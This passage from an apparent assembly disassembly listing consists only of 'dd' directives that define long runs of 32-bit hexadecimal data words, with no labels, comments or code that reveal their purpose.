		dd 2D1F00DCh, 11A9C7C3h, 1B00F5D8h, 0A35C1C4Bh,	3E859A8Eh
		dd 50ACC5ECh, 510118FDh, 4C6080A8h, 0AAA63C41h,	98963E45h
		dd 4EEA5E00h, 34C1BA1Fh, 2E7FA101h, 0BE76187Eh,	0A804B30h
		dd 0E939AF0Eh, 1A78090h, 99EEC10h, 6515190Ch, 0DE5960h
		dd 2D6C2D0h, 1280C1B3h,	51F30DFh, 0F96CAE47h, 45EFE640h
		dd 7A8700ABh, 0C93FE988h, 0A400CB49h, 85EE46D4h, 74880D3h
		dd 0EA983E86h, 0A08B172Ch, 25C1A150h, 4AD7D100h, 0DFB33F41h
		dd 0CF5B07F6h, 0DAAA61D2h, 745504h, 78324E7Bh, 81552A88h
		dd 9C874F07h, 69B08A75h, 72F9218h, 8085D1F2h, 0BD888065h
		dd 0F8E91BF1h, 3B3E783Ch, 85ED00D0h, 0A1795631h, 3EF20E7Eh
		dd 77607C3Ah, 7655EF4Bh, 0D1008774h, 9CD0A245h,	1E1B5DEBh
		dd 0C0887732h, 2E40449Fh, 4800CF64h, 3D19367Eh,	0E861A64Ah
		dd 23F02695h, 0B8EB1801h, 88008E89h, 2FBDD780h,	0CC0B9Dh
		dd 0E1372241h, 0A6EB215Fh, 84B4C31Fh, 28757E4Ch, 0AB83449Bh
		dd 44B78844h, 7B441DA5h, 6311FF37h, 8353125Fh, 11874C28h
		dd 119CE379h, 7F115B03h, 12A319A9h, 50423F29h, 81B118Bh
		dd 297E656Fh, 1A2802EBh, 2705E0C6h, 80281404h, 0C28474Ah
		dd 0C329C520h, 0B7FCA845h, 41B38174h, 12BB9428h, 6050816Fh
		dd 0F027AB1h, 0BC877883h, 48B2921h, 1C7B5BCDh, 0C06C79F0h
		dd 127644h, 0D54D6FFDh,	0B2B3BFA1h, 9C82D900h, 97CF1598h
		dd 0A0D40BE3h, 7809E1Bh, 7F050D39h, 744C020Bh, 3FA38032h
		dd 127189Ah, 88D2A1E8h,	0DCC42BA8h, 0C058BC7Eh,	0CD2200EAh
		dd 5121E411h, 1EE37094h, 3E0AA767h, 0D9BFD501h,	0CC2017CEh
		dd 44006B5Fh, 1BFEC1A3h, 3B3F0739h, 0C0164DBFh,	0C43600DAh
		dd 5FADF4EEh, 80FF5300h, 0B8BC67BBh, 44CE00D8h,	17237FFCh
		dd 27035FD4h, 0E94286EDh, 2415C804h, 0FB43383Fh, 21E1459Ah
		dd 66E39280h, 3B0AD003h, 973397D6h, 0EC03D00h, 1201B145h
		dd 0D1BDA1h, 86419D58h,	6C00A269h, 4CB08457h, 9B857Fh
		dd 0B6238847h, 10EEC579h, 6581AE07h, 0E8A6755Bh, 953F0560h
		dd 0EC88352h, 0CE64999Bh, 0E8DC808Ch, 880007EEh, 1A0E94B1h
		dd 2A0DE67h, 4244A16Dh,	20E3C58Ch, 6ACFF0D0h, 0A300E2FAh
		dd 1299D761h, 2972E0h, 373BD8AFh, 0A2562034h, 22A4D900h
		dd 72E19DC4h, 71E00009h, 0C95BA77Dh, 21006AB6h,	513BF7B5h
		dd 0ACA01Ch, 0D405B738h, 8C53BB83h, 8A0E9B71h, 8199DB68h
		dd 73D1CC2Dh, 0FF88C8h,	463D6A25h, 0AF3CDFDEh, 411EB51Ch
		dd 8E632200h, 70BDC40h,	15035F35h, 840E7014h, 0A5007486h
		dd 0EDEE8506h, 0ECD9DFh, 0D3471923h, 43EB1A53h,	7CFFF00h
		dd 0DEB7C820h, 5E774CE1h, 0F5F89B00h, 0E37C9D1h, 0BBB0DA0Eh
		dd 0D2DD205Fh, 0B10B06h, 4CD1A910h, 15C4742Ch, 2EE9BE00h
		dd 4DE5908Eh, 97320370h, 8626F902h, 83C8E0DBh, 0CC4838CFh
		dd 4D76036Ch, 0E81B9419h, 24D829h, 36456EC8h, 38CE25Ch
		dd 997AAC00h, 0A69E1E70h, 0FFC10035h, 0A25A1CC2h, 3E0ED746h
		dd 60212BAAh, 0EE248E13h
		dd 0C5770E1Ah, 9D4064CBh, 0F802CD87h, 71C7E100h, 823BAD54h
		dd 392504F0h, 90F5339Ch, 28119D40h, 7613D51Fh, 0D1A7B0C0h
		dd 4C36887h, 16E193CEh,	8CF4C1A4h, 0D09C250Bh, 0A227BE20h
		dd 61A9007Ah, 0FCAC327Dh, 39131ED1h, 0DA5B4018h, 92448CB2h
		dd 82607B01h, 7A974B67h, 9854F043h, 0E26A51ECh,	1F4507DDh
		dd 0EFEE8062h, 6EBDEB20h, 0A23F354Ah, 5F7283B9h, 0C8057F7Dh
		dd 990790h, 0D7C95C17h,	2F83F92Ah, 16787107h, 95401C15h
		dd 0F61444D3h, 0A285005Ah, 0E2AB7293h, 697FC2DCh, 55109F67h
		dd 539E8049h, 58D4167h,	0A6632664h, 5CDC403Bh, 5C58AF3h
		dd 0B5F8FD01h, 0D0E6B6BCh, 3230820h, 93979DC2h,	6ED03927h
		dd 0DD026016h, 0B46D04D8h, 80C400Eh, 0C8DC3AE9h, 62378180h
		dd 0B1C0FACBh, 0AAD67D00h, 57726556h, 75E30915h, 2080363Fh
		dd 717AA9C6h, 0C04F2500h, 687C55E2h, 493A04CBh,	80DEF00Ah
		dd 0F5C8300Ch, 84C2700h, 14D091E5h, 3B890AAh, 59E7FEA6h
		dd 0EF90C4B8h, 2F006D36h, 3CCCD927h, 0DEDA0Bh, 0AEF7C1E7h
		dd 0F0DFFECEh, 762B1700h, 59366386h, 0E75C007Ch, 6F851CAh
		dd 501D1DBh, 31164BDAh,	56304997h, 0E86D4859h, 396E1701h
		dd 335C88FBh, 99017924h, 63B9C020h, 15E0954Ah, 5E48007Ch
		dd 250F6EFCh, 9F0001D9h, 11058165h, 39426DAEh, 6A00EE4Fh
		dd 8083318Eh, 0AF009D66h, 71B47ED3h, 0CCF13ABh,	0B6F7C94Bh
		dd 0F1005C10h, 50015A4Ch, 2896F2BEh, 95BC891Bh,	0E53B6570h
		dd 0F66202A2h, 0E0EB3BD3h, 0C007770Bh, 83690370h, 2E00B313h
		dd 0FD75F0F7h, 2829AD49h, 2C636A7h, 0B4984462h,	0EE404FDEh
		dd 0BC000C1Ch, 0A4E959EEh, 0E8AC13h, 8B42BEA7h,	0E68D2C81h
		dd 0F0374500h, 3E12EE6Bh, 0C24000E3h, 4EE7876Dh, 1C3F67AEh
		dd 467E9D27h, 0E97A8D40h, 0F9DC788h, 0A2829F84h, 1BD63A60h
		dd 260143ACh, 4B7F42CEh, 6B60FEDFh, 33410775h, 9173F8A5h
		dd 0E8196309h, 0BD034C21h, 9508B3CEh, 8891EF36h, 17C07314h
		dd 0AAA92CC5h, 9F410091h, 0C2FDEEEAh, 1CF03D05h, 2C80F552h
		dd 0FD6A95B4h, 90812FDCh, 0E95C00C0h, 0D9262899h, 3A009361h
		dd 0EBF3CD8Eh, 0E5946E3h, 1092E780h, 0CD5B200h,	0FB12524Bh
		dd 0EB0F7FA5h, 0B06DA059h, 7039038Eh, 24F2F0ACh, 350A93Dh
		dd 90643768h, 9E6374D0h, 0D44C2804h, 2880A2D7h,	0DEBB13h
		dd 0FB9BEA87h, 1B64F971h, 68BF4Ch, 1DC484Bh, 997388h, 19DD1EFEh
		dd 2184B855h, 0CCD49E13h, 0DFAE50F0h, 54564002h, 234A73E2h
		dd 654FD204h, 780F0B0h,	0E8AE5AFh, 0A32E662Ch, 491E29E0h
		dd 880097F8h, 2308695Eh, 0EC66585Ch, 5C99F850h,	5B0FCCB4h
		dd 2A003778h, 9A3CA179h, 0ADB0DB05h, 68809318h,	3E45586Eh
		dd 0D80013FCh, 5F4443B3h, 3700B82Dh, 8EEB0540h,	0F1B5D09Ah
		dd 2511BDCh, 16C7E5BCh,	0C8A0968Ah, 0BB141DECh,	77C96D00h
		dd 0A8D4A763h, 7FE30070h, 328C2069h, 381CC526h,	31C0EC35h
		dd 0A88B7DABh, 2E6900F9h, 53AA72A4h, 8004D75Dh,	4EC741E5h
		dd 8050FB04h, 7CCA07B3h, 0DECC7B00h, 4543FA8h, 5FD200BAh
		dd 41D1AF17h, 0E4E9AD43h, 0A10013C0h, 6B71FE6Eh, 27510D9h
		dd 0B654D07Bh, 9B4139EEh, 663CE8FAh, 0F98BB900h, 2857F82Eh
		dd 0D27AD6h, 78569FE7h,	35FE5C02h, 0A25F5317h, 0C94D400h
		dd 6CAB68h, 5797FA5Ah, 0EAF04539h, 98015Ch, 0C0EE20A0h
		dd 2C2A73h, 0A9BEFEC4h,	3D31548Dh, 0EDC79800h, 0F9A187C9h
		dd 10B8F4h, 66CB9A68h, 9D37A71Dh, 0E182C616h, 6AB35003h
		dd 3E5BD089h, 6CF30072h, 68ACF2F8h, 20004291h, 0AE4FC6F6h
		dd 7E55ECB3h, 0E55401E9h, 0BC7AC27Ch, 6B38F856h, 86FB4500h
		dd 42FC229Ah, 0E8BDEA1Eh, 1B4A0061h, 0DBEE11C6h, 0AA0F6009h
		dd 0C0C13615h, 89BAFD98h, 5CE27D8Dh, 2500C7BDh,	0CAB27608h
		dd 0F44887C5h, 0A8500003h, 0EB4B80CBh, 6DD80233h, 0F63EC33Bh
		dd 0C6440841h, 0E11CE0D7h, 9F7A00D0h, 0DB6901CCh, 18036897h
		dd 0DD1D9B24h, 50D49863h, 159200C9h, 0A1D180C6h, 0EA003CC5h
		dd 1C556C02h, 14A0459h,	8EAFA2FFh, 0C086C933h, 457FB3C7h
		dd 5D10C500h, 44736718h, 0A3D62827h, 48887AA0h,	0D300D0B6h
		dd 72DE09BAh, 3A7C902Dh, 11AB570Ch, 0B28A1h, 7B6D203Fh
		dd 178C688Dh, 9D2F6F00h, 0FA6E8913h, 534B176Bh,	7C4C0F26h
		dd 6A62AAC0h, 6100D230h, 8CDFA7D6h, 732A3B13h, 69810009h
		dd 316EAFBAh, 0ED00D263h, 0A319018Ah, 0F398A1h,	0B69B5248h
		dd 3C8458E2h, 4FFE2F00h, 8A97D430h, 0DD7E7Bh, 69DAE87h
		dd 968E12F8h, 44BB3326h, 7D50DC81h, 0B2ECD26Bh,	281418D6h
		dd 0ED64B888h, 17DB7600h, 0A8613F22h, 70B02883h, 236F0080h
		dd 0C8BF52A3h, 62009231h, 0C0AE10E4h, 3E4EF0h, 6F8E980Eh
		dd 0F39E7DD9h, 0A524E0A0h, 65D31B00h, 0FF9B7101h, 5892984Dh
		dd 0D20E333Ch, 7DCECA83h, 0B143AA00h, 0B701F026h, 0C22EE3A2h
		dd 60309C25h, 6F350150h, 0E029FE78h, 93E040C5h,	0E8903C1Bh
		dd 4420A100h, 0B9E47E9Fh, 0EF6004Dh, 0ADD9BFD8h, 3FEAE9E6h
		dd 1E121048h, 0D400E571h, 9CDE24B0h, 64720308h,	694644A3h
		dd 0DCD1B00Eh, 1DFCC552h, 0B90FEC43h, 0C473B13Ch, 0E0C415F9h
		dd 9B88A0C0h, 0D537023Dh, 0E3F1187Ah, 0CA2DAF40h, 0C25CBD05h
		dd 0C880B93Fh, 2C9D5310h, 3C63118h, 7392DB7Ch, 0F8CABAC9h
		dd 0BEC08EB9h, 4540F019h, 0C3091846h, 0FC016029h, 834C2360h
		dd 9E3DCBh, 2609BF0Dh, 6432F36Ah, 0F7DEBA07h, 6FB08729h
		dd 91D7E5h, 0E6761B30h,	548060B8h, 67593214h, 0E7E801ECh
		dd 0E41CE33Bh, 0F557C8h, 3848ECB2h, 0A00AA8B3h,	0A576FD01h
		dd 3A0398E6h, 5A8024h, 132F7F89h, 0FCE7E54Fh, 37129B00h
		dd 40C9CFEEh, 0A9C4002Eh, 0C62A59F5h, 3BF8DBD6h, 3400A490h
		dd 0DF02D25Bh, 5A0D42h,	0EB089F40h, 5E2B6288h, 0B7C94C00h
		dd 7701461Fh, 2907004Fh, 0D9B4CCAFh, 620005A6h,	0E47935AAh
		dd 24737D8Fh, 38EAA7h, 3C8D9F83h, 0EF1E09C5h, 8700D31Ah
		dd 0ABF17EE2h, 91759Ch,	0E93ADE59h, 0F2CE8CACh,	3DD5F700h
		dd 16FDE60Ah, 0B02E3BDCh, 717BD280h, 35D6E903h,	0F6AB7400h
		dd 3C890F5Ah, 0B9C80041h, 0FA5B71B0h, 0A3005C68h, 8698ABD1h
		dd 0E0AE99h, 0D50E2802h, 0F24B7BCEh, 822DA100h,	0C5CBFF7Eh
		dd 0EB4212B5h, 21B600C1h, 4766B9C0h, 81001C9Ah,	0DD935F2Dh
		dd 0FE78473h, 0AFC152CAh, 32C5AC82h, 1EBC4B40h,	0A8AEF100h
		dd 1695F8CEh, 0C6E48E2h, 0D5BD4307h, 0F9D900CDh, 74005CAEh
		dd 0DECA9E31h, 0EC188A51h, 0E3891EF8h, 441D00C0h, 15B1138Eh
		dd 0CCD9C500h, 0FD66A02Fh, 0F2B83BDCh, 2508EA80h, 72741CAAh
		dd 15ABF600h, 0E26AC95Ch, 3FD81E46h, 3083C075h,	7AF72F1Fh
		dd 60339400h, 48A1FA63h, 6D4400A4h, 9E3B81D0h, 7C902C21h
		dd 5F00D270h, 4DAFF282h, 0AC17EAh, 0A569616Fh, 98BB5B59h
		dd 0CAAEA900h, 3B5F50B3h, 0ABA004CEh, 0E0A3784Fh, 0B44F19D0h
		dd 77031BE8h, 0C8033B1Eh, 2C9F00FFh, 42002097h,	0ABF8B311h
		dd 9B807Eh, 0AAC22622h,	0A5037B1Ah, 6A584900h, 95B67E0h
		dd 80660041h, 219DB84Eh, 0AF009F86h, 4B77BE1Bh,	1A531CDh
		dd 59C90D75h, 0F899DA6Fh, 0F600EF98h, 0B6CB92D5h, 0E20224C5h
		dd 8C1D00B3h, 0E90DFCACh, 3B038BF3h, 0BD3D180Fh, 0C7CCE8B9h
		dd 24F7003Ch, 3690D8B5h, 407A6DBh, 744F54BCh, 0C082DA73h
		dd 10F1B1Dh
		dd 0A64581D8h, 0FD7A9802h, 1CCBC8D2h, 860DC900h, 0C6B4A5E0h
		dd 9F3003Ch, 38E103E6h,	760230EBh, 0F05BAD5Dh, 8A41FF35h
		dd 0DB2880A7h, 0BD0AE4F3h, 15FA1F31h, 321870A6h, 8E010713h
		dd 0C0115826h, 0A8809B43h, 7C6D4870h, 0CEE01AFEh, 8E2BFB0h
		dd 0A0ABC10Ch, 3A55E0EDh, 9D3CDEF6h, 0D7A38D00h, 0E1D6D54Ch
		dd 282B7700h, 4D3A6253h, 6AB60176h, 29600A92h, 642F2051h
		dd 8CE9C800h, 3CC324BCh, 8A661E90h, 4AFEC048h, 0BDBABF96h
		dd 6D057F1Eh, 3C7DFD40h, 9C16FBh, 61021472h, 8D442154h
		dd 1DC34000h, 829D8A9Bh, 7F870E3Ch, 0B14067E9h,	0A472C1Bh
		dd 0B0B1271h, 938C9Bh, 0DCC6BAA9h, 62F713AEh, 185EB852h
		dd 0FBD9C54Eh, 0F5F200A8h, 0E6723515h, 3D002733h, 0FDE78187h
		dd 1529BBEBh, 0D8B40C82h, 0E233D400h, 0B51379E3h, 0EE008FFEh
		dd 0CBD53439h, 0F2F69417h, 0E8DB0730h, 0C1D7F159h, 4385799Eh
		dd 4F0C59Ch, 0D924EA4Ch, 1100D646h, 84F45EDAh, 3BE60060h
		dd 487923A3h, 0EF075A85h, 0CF6AFDD7h, 9A6ECE90h, 0BA0E0013h
		dd 362C3C66h, 0B824CA16h, 0E480400Bh, 11339E5Fh, 86F60368h
		dd 0E70961EEh, 30BDD7C8h, 0CC5FD903h, 90379CA8h, 146AF67h
		dd 2C165918h, 8085CB72h, 14110A18h, 6682C4h, 0E4A62DD0h
		dd 8CD640A0h, 17005DECh, 0EA41EBDBh, 7630F270h,	7E771B0h
		dd 84DEAA7Ah, 3E0407Ch,	59008333h, 0EC35DBB2h, 0F0BECADAh
		dd 552800D6h, 0DDFE8DBBh, 0CB484858h, 6A93E40h,	0CA7DBAC2h
		dd 5FAE610h, 7CBFD05Fh,	811430DEh, 5D181C82h, 9DF84D2Fh
		dd 215EA29h, 8D3F02BFh,	0D480853Eh, 7D1392E5h, 8886DE07h
		dd 6A46E352h, 60CB00C0h, 55A7C6C9h, 0FB76AA45h,	7B524A01h
		dd 7C9F81ACh, 14EEA8DCh, 0A4871469h, 218D6C00h,	2C70DF3Dh
		dd 0F1914B1Eh, 2BD67E00h, 1365AEh, 377F2E78h, 27B37453h
		dd 0F7029173h, 5886CBDh, 9E6FE0C8h, 28C700B7h, 69C4D883h
		dd 0F000F641h, 0A3932AB0h, 3A7B4280h, 0CB80911Dh, 0A05C0538h
		dd 53006F0Dh, 0F96D963Eh, 0BFE3FFh, 2123431Ch, 29EC7A16h
		dd 0D3A1B700h, 77C8AB3Dh, 0F09B003Ah, 4985EF57h, 200582Bh
		dd 3E1E25C3h, 5B522Dh, 0ABB262A8h, 0EAE0A5BAh, 10A9FE00h
		dd 0BB5998D1h, 0F237007Bh, 42211C3Dh, 6039133Ch, 229080DBh
		dd 54FC723Fh, 1E53738Dh, 0C002FEE7h, 95D3DFAh, 0FB789ED0h
		dd 0F198C607h, 0B1C04F92h, 0F63F6740h, 320B000Dh, 847AC7C2h
		dd 4B00C59Fh, 7DF18AB0h, 7F4E3D6h, 9CE085Bh, 0F58E8094h
		dd 0B00378DBh, 8F6FF364h, 0B0EEB4h, 0F9C4FAF6h,	0EF01745Eh
		dd 8091653Ah, 0C2C70BC6h, 3F085AE6h, 459E7CFDh,	21114172h
		dd 0D41476F7h, 0C0F2DE1h, 67B47132h, 798142B0h,	69D40938h
		dd 0C7A800F9h, 261E2718h, 7F07E306h, 93982881h,	0BB0BCBB0h
		dd 6AD95C40h, 61AE8F3Bh, 0B6B305CCh, 8A8406C9h,	0CB487E3Eh
		dd 9EFA00ECh, 19AEFFC5h, 3AA31E58h, 2732C0DBh, 0D22993CBh
		dd 86236F1Ch, 520D48C0h, 1DC6D670h, 661F44CDh, 1E9AACB4h
		dd 7CD702F9h, 0C048C8ADh, 0C23E9F88h, 0DA58260Ah, 0A020CA0Fh
		dd 73857229h, 2638E097h, 4709E3Dh, 80D6307Dh, 0C09229A3h
		dd 0FB0BB092h, 5FFD8Dh,	0C36AD30Dh, 0A14C17h, 32A90077h
		dd 0D6D1836Fh, 4424DBE6h, 3B00905Ah, 741DE73Ch,	0D29901C3h
		dd 0B1F98471h, 0D8388076h, 1B7FC4B0h, 8F6E0022h, 160AB7F4h
		dd 0ADA0732Bh, 56604691h, 1BF165C1h, 5C541CA8h,	0B3DECB0Dh
		dd 70739826h, 83A50839h, 0E79AFD9Bh, 0AE601C9Fh, 0F8B04E01h
		dd 0CF1F7C1h, 25DC6096h, 0A3DDCA00h, 453976D9h,	9AC61870h
		dd 0B55A685Eh, 6400BC75h, 12A0C02Bh, 3514385h, 53651830h
		dd 0CB98029Eh, 0E21FA421h, 0A6C0A7DEh, 0BCF4AF7Eh, 625C00EFh
		dd 779CD3FAh, 0A7004ACFh, 1D592ECh, 2A6BA3ABh, 7ED45EAEh
		dd 3C784D75h, 0AC352600h, 7913AA72h, 43DD2F00h,	0F4C5C989h
		dd 0C8A8076Bh, 0C0691E19h, 7D6C5DEAh, 1744790Fh, 0E1FE63BFh
		dd 0D9C2D091h, 267D7Fh,	1C4665F8h, 62E9A2DFh, 1D003D7Ah
		dd 0CD4D0E09h, 98B310h,	0DE87E540h, 9D8C0495h, 1D89E800h
		dd 0E63F56A7h, 119E3EFFh, 7DF7500h, 0B424CCD4h,	9821B501h
		dd 6D6454C4h, 0F1E69C4h, 0AFAAC88h, 0CB16B4A0h,	0A31ECF06h
		dd 2813D36h, 1E4AEA93h,	967048C6h, 621A006Bh, 0AB6CCA3Bh
		dd 400F6F0h, 0F21BDD31h, 8D81CEh, 0C4DB7ACh, 84580FF4h
		dd 7FB37203h, 80E7F37Eh, 0F7183FCh, 85E14819h, 756E5F83h
		dd 276FEE9Fh, 60E2E8E7h, 42A6D0C8h, 0DBA5FF05h,	83C37316h
		dd 0AC43F057h, 409901ECh, 158F7126h, 68804307h,	0E9256D88h
		dd 6662BC02h, 0E0919223h, 538648h, 10220743h, 0E63117A2h
		dd 0FA00ED71h, 2FA497E9h, 2A07954h, 594F9533h, 4CC92361h
		dd 0CA804174h, 0DF9FD09Ah, 93B7684h, 866E4799h,	2FAC5400h
		dd 0C7024382h, 1F302EC4h, 0D6654018h, 837900EBh, 5E7FC687h
		dd 33EABEB7h, 500767Ch,	2F2099ABh, 3BB802Ah, 3908072Ch
		dd 56DBD8B4h, 61FF81F8h, 9850D300h, 0B6371CC7h,	7DE7547h
		dd 9C41D559h, 48937017h, 0D600EAE3h, 0BC2D257Bh, 67558Eh
		dd 14192EEBh, 3392D793h, 0D46B6900h, 0F5B03AC9h, 0A9050096h
		dd 971BA477h, 0CAA3FBB5h, 0CDEAA8F0h, 5A2EBF7Fh, 0B41EB89Dh
		dd 22B2E100h, 1209C9h, 574F758Bh, 5A3772FBh, 0F3E74303h
		dd 0F81D28ACh, 2609FEB3h, 9D8A06h, 4F04FCA0h, 1A0195F0h
		dd 0E16CEF7Bh, 0AC407846h, 23385706h, 5E07DECAh, 0E6A39437h
		dd 0EFE2B1A4h, 0C052E440h, 790EC0Fh, 0F3A3C361h, 38C9A034h
		dd 0EE1E4C7Ch, 4B3FD9B2h, 0B43D1000h, 85671Dh, 35E2426Bh
		dd 5AC0B854h, 29C37200h, 59EC1DDh, 0C7A70219h, 99A57461h
		dd 591DFC50h, 4440865Eh, 0B8506873h, 4CF89270h,	38129C0Fh
		dd 597C096Dh, 61C66CA3h, 0DDF8E8FEh, 0D7642E02h, 40C20F26h
		dd 0E740BAh, 0AB09460Eh, 4D3AA44Ah, 0F1B39301h,	0BF2E9C08h
		dd 76C6F4h, 0CCDF0C47h,	0E33FAC25h, 38A6D203h, 0D8C98315h
		dd 0BBDB84h, 72CD94F6h,	0DE7AE65Bh, 69633000h, 0D58158C6h
		dd 506A0065h, 0BB106BDh, 9E0174FBh, 0E7C002C4h,	0CEC55ACh
		dd 99D50708h, 0E0EBBBDEh, 611E7C3Fh, 81D35D00h,	9205F9E1h
		dd 6D3E01C9h, 342F8AECh, 8757D0CFh, 8B792301h, 0C16F7F56h
		dd 7C244F8h, 386B42E1h,	0E08C775Ah, 9EA3BCFBh, 1B163E1Dh
		dd 8E84DF87h, 9A3AC0BEh, 1FB55725h, 0C03F6D2Ch,	367DA214h
		dd 293CBE97h, 2DA58012h, 0A3CEFA84h, 8BCA0096h,	0D565F786h
		dd 4F00E26Fh, 8C3CEB34h, 0ECD7DE79h, 0D0C1D58h,	258DC043h
		dd 66CF1204h, 36B22400h, 0B3C0656Ch, 0BDBA3FE4h, 33EC17h
		dd 17831658h, 1DB0FC77h, 24489C03h, 883085ACh, 0C1B5F73h
		dd 79C4EE54h, 0D70074E0h, 0D10A0556h, 1D57C8EAh, 0C0C6B791h
		dd 0A47D7349h, 0DA00CDDFh, 9611827h, 7B8C13h, 9D9776DCh
		dd 4CAD671Fh, 0A2B77800h, 0A87DE93Bh, 9E6000D3h, 0FE6F5981h
		dd 0FC001B0Bh, 714FB3D0h, 7339B7EFh, 696E1F42h,	80954309h
		dd 0A7E1A8CDh, 47AC4093h, 291C13D4h, 0E5001A9Dh, 773B6124h
		dd 860E0078h, 5E4DB31Eh, 7202D9FAh, 0C8FC8E21h,	423C60C9h
		dd 3A207B6Ch, 1AA502ECh, 91E410F0h, 1EE11800h, 0B74A98D1h
		dd 340C0085h, 0F302BB17h, 3200DF39h, 40E7EC83h,	0EE2630h
		dd 0F5A7F609h, 0A1D55017h, 61BDDA00h, 55BFB23Dh, 0CC5A18CEh
		dd 740D40E3h, 5E5863Fh
		dd 16481D05h, 0BF59D30Ah, 0AFADF200h, 0C414C44h, 0EC49E5B1h
		dd 16F1C88h, 70A5C0D2h,	1BC4AE9h, 0B19A02B0h, 0E02ACFE4h
		dd 2600F166h, 0C1EE9310h, 78A4235Bh, 772D009Bh,	0E8EF138Bh
		dd 3076586h, 2AD7B151h,	498F9021h, 0F2B0E5C4h, 857D8Eh
		dd 94E2C909h, 0CD397CFDh, 0D6111C00h, 81B075DAh, 42DE001Ah
		dd 0DDB690ECh, 9204BC5Fh, 0EE0CF610h, 1D874C0h,	0C64B0007h
		dd 9F48AD63h, 0A2009169h, 14F23AB5h, 36B9BEh, 4935F9B2h
		dd 17C90384h, 7C09660Fh, 524C4093h, 1C63F0A5h, 80FFF3ECh
		dd 30DA3BDDh, 1F00C288h, 89B78BF8h, 64666Ch, 2DD51EAFh
		dd 0D8EBD9F1h, 8C8A1D00h, 0AE311C42h, 0F048001Ah, 2E3EB522h
		dd 0C0A016C7h, 5700EFF5h, 5242E413h, 31DDF8h, 1A5DBBFh
		dd 681AB8D7h, 3AC6453Fh, 0F5CF9EABh, 21481B44h,	9DC0C384h
		dd 0EDE4FD2h, 0B483FD2Bh, 0C02A3DA0h, 0B00EAE5h, 0F93C6035h
		dd 3979E203h, 8E00EDFCh, 2DA26CDAh, 0AF00BD8Ch,	0E9B00CB5h
		dd 1D022DDh, 0BA267DF3h, 0FC3DD89Eh, 93006CA0h,	87FD3C68h
		dd 7563E2BEh, 0CD8D0FD3h, 1A00C128h, 5191E645h,	6AFE0900h
		dd 0C8BBB2C5h, 0AE300BFh, 0C7B88CA7h, 0C00F194h, 31ABDB37h
		dd 7670ECh, 5697AA3Dh, 201C270Bh, 0CAB7D503h, 0D8E0B06Dh
		dd 385F36Fh, 0B9CE0576h, 1E8AAA2Bh, 0BE54040h, 0DCCC280Eh
		dd 7C544041h, 9278F0h, 68592025h, 556FD25Fh, 7F324C00h
		dd 26D3A00Ch, 47981Eh, 6960CF15h, 9D4517F0h, 0A48D4700h
		dd 66086267h, 1E3D004Bh, 0A00FE0A9h, 6000C972h,	33CC919Bh
		dd 9A0A8Dh, 48621B47h, 0C0B6C857h, 0F154DF00h, 0BDE10499h
		dd 81702Fh, 7DDAFBA5h, 0D8D1906h, 43D3F00h, 2CBCBB1Dh
		dd 58210020h, 1F755F25h, 0F5007D42h, 0B6E3DCB5h, 597F3C5h
		dd 91115267h, 73A40047h, 43FE7D28h, 183C358h, 0D80A6D85h
		dd 6ECCBC3Ah, 610701B5h, 4D24BE96h, 1DA4202Bh, 0C9E6EB00h
		dd 98DC0C23h, 0AF0E00D9h, 0E7180452h, 2B0024BFh, 7C825142h
		dd 3F461201h, 3406792Dh, 6053BD65h, 7F6A8007h, 0CC808DBEh
		dd 79B97h, 0F63EC7BBh, 2DFADD98h, 80930500h, 7C734EDCh
		dd 0A3852CCDh, 4F430AD9h, 224900E2h, 3ED9A664h,	0B87BE00h
		dd 0ECB64D2Ch, 0A3B700B2h, 0C21F29D6h, 1D0C1AE0h, 20382013h
		dd 5575EFh, 0CEB42F6Ch,	0C45C7B27h, 0F0DE3700h,	0CFB56844h
		dd 7CD0EA0h, 90C0E0D8h,	0ACB38CF9h, 0AD328B02h,	40B6B87Dh
		dd 0E65EF3FBh, 4BCC0040h, 354E9013h, 53027902h,	18F243BFh
		dd 0F8B08047h, 2D5A30Fh, 0BABCC826h, 0D040B163h, 0FF4CB3A4h
		dd 0DA5900F0h, 0B64FA9C6h, 3FEB0005h, 3644D5CAh, 94011656h
		dd 0C74CD3FFh, 9020CF57h, 55111F25h, 4480FD51h,	0B45CA9A6h
		dd 67E4DEE7h, 2B350500h, 485766B5h, 0E2200F63h,	0AD60239Ah
		dd 541D29Eh, 0A779700h,	7BEA5528h, 617F0025h, 6986CDA9h
		dd 3F000F84h, 0AC6CC4FAh, 0D951Dh, 0AFB81FD5h, 1135AE5Ah
		dd 1C664900h, 152A92AAh, 0A9F20B84h, 145ADh, 0CC182C07h
		dd 0B118DFB8h, 61149CA1h, 6E0601D4h, 4BF5FC6Fh,	0E674D421h
		dd 7BAD0100h, 0BF9D48B3h, 0EA960723h, 0ACB7383Bh, 8B7073E0h
		dd 0F5539C00h, 6A2D2A6Bh, 80620048h, 0ADD3A4D5h, 57582269h
		dd 0CB6F00CBh, 0C379986Dh, 887C92h, 0B671029Eh,	4236D6AAh
		dd 0EB386004h, 80804541h, 77D933Ah, 97FF7BBAh, 0B01C061h
		dd 0ED1F86D8h, 7016340h, 2B2E6537h, 0F854E0D4h,	0FE2C008Dh
		dd 9149ECC4h, 0D490AB01h, 1ACA8813h, 0D315F200h, 48EC4DF3h
		dd 52063892h, 58191417h, 0D001EFAh, 5BEB1AA2h, 3F512234h
		dd 3981FAE2h, 601F4482h, 2317C004h, 92F7970Eh, 72FD07D3h
		dd 6BA5BE60h, 0DB38007Eh, 2E49A73h, 370F4BEBh, 20A81B4Eh
		dd 0EFD9A4E7h, 60630643h, 0E9409449h, 28263E28h, 0F014B22Ch
		dd 10535580h, 0C7AEF63h, 119C897Bh, 0C6005D18h,	79B796D6h
		dd 60F87F28h, 90858965h, 0B5000DD2h, 0FF42A3B6h, 0E436F7C5h
		dd 0E8B11840h, 0A66A7017h, 0E55C58h, 4F8A3246h,	25F87EEh
		dd 0E24B0B05h, 3468C3C7h, 7852B36Ch, 125E3F34h,	0EC035F7Eh
		dd 1D702513h, 0C0D5DA28h, 3D0DBEBh, 0A8C01868h,	0E48C0FA8h
		dd 9C9086h, 43126123h, 0ECF51FB4h, 31813E00h, 5DE746EBh
		dd 0EA50509Eh, 0CE773CFAh, 60CC670Ch, 0C6399438h, 30153AD2h
		dd 0D18589BCh, 63A50083h, 12C79B1Bh, 0CB00F91Fh, 9E0C1544h
		dd 0BF55Dh, 178BCC9h, 0F011FCE2h, 0B0EE2F1Eh, 0DB2DFE82h
		dd 481C648Dh, 28632660h, 57E0161Eh, 6513FD36h, 5440AA71h
		dd 4D8A7FADh, 66E82Eh, 6ADFBD33h, 72481FACh, 65B9C11Fh
		dd 0E052F613h, 0EECF111h, 94BCFC8Ah, 64F116BCh,	4A963840h
